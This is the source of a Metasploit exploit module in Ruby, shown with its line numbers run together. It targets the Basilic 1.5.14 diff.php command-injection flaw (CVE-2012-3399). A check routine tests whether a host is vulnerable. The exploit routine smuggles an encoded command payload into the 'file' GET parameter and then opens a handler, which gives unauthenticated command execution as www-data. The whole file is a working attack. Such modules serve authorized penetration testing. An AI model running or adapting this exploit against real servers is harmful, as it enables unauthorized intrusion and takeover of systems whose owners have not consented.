Path: blob/master/modules/exploits/unix/webapp/basilic_diff_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',15'Description' => %q{16This module abuses a metacharacter injection vulnerability in the17diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary18commands as the www-data user account.19},20'Author' => [21'lcashdollar',22'sinn3r',23'juan vazquez'24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2012-3399' ],28[ 'OSVDB', '83719' ],29[ 'BID', '54234' ]30],31'Platform' => %w{linux unix},32'Arch' => ARCH_CMD,33'Privileged' => true,34'Payload' => {35'DisableNops' => true,36'Compat' =>37{38'PayloadType' => 'cmd',39'RequiredCmd' => 'generic perl ruby python telnet'40}41},42'Targets' => [43[ 'Automatic Target', {}]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2012-06-28',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])58]59)60end6162def check63base = normalize_uri(target_uri.path)6465sig = rand_text_alpha(10)6667res = send_request_cgi({68'uri' => normalize_uri("/#{base}/Config/diff.php"),69'vars_get' => {70'file' => sig,71'new' => '1',72'old' => '2'73}74})7576if res and res.code == 200 and res.body =~ /#{sig}/77return Exploit::CheckCode::Vulnerable78end7980return Exploit::CheckCode::Safe81end8283def exploit84print_status("Sending GET request...")8586base = normalize_uri(target_uri.path)8788res = send_request_cgi({89'uri' => normalize_uri("/#{base}/Config/diff.php"),90'vars_get' => {91'file' => "&#{payload.encoded} #",92'new' => '1',93'old' => '2'94}95})9697if res and res.code == 404 then98print_error("404 Basilic not installed or possibly check URI Path.")99else100vprint_line("Server returned #{res.code}")101end102103handler104end105end106107108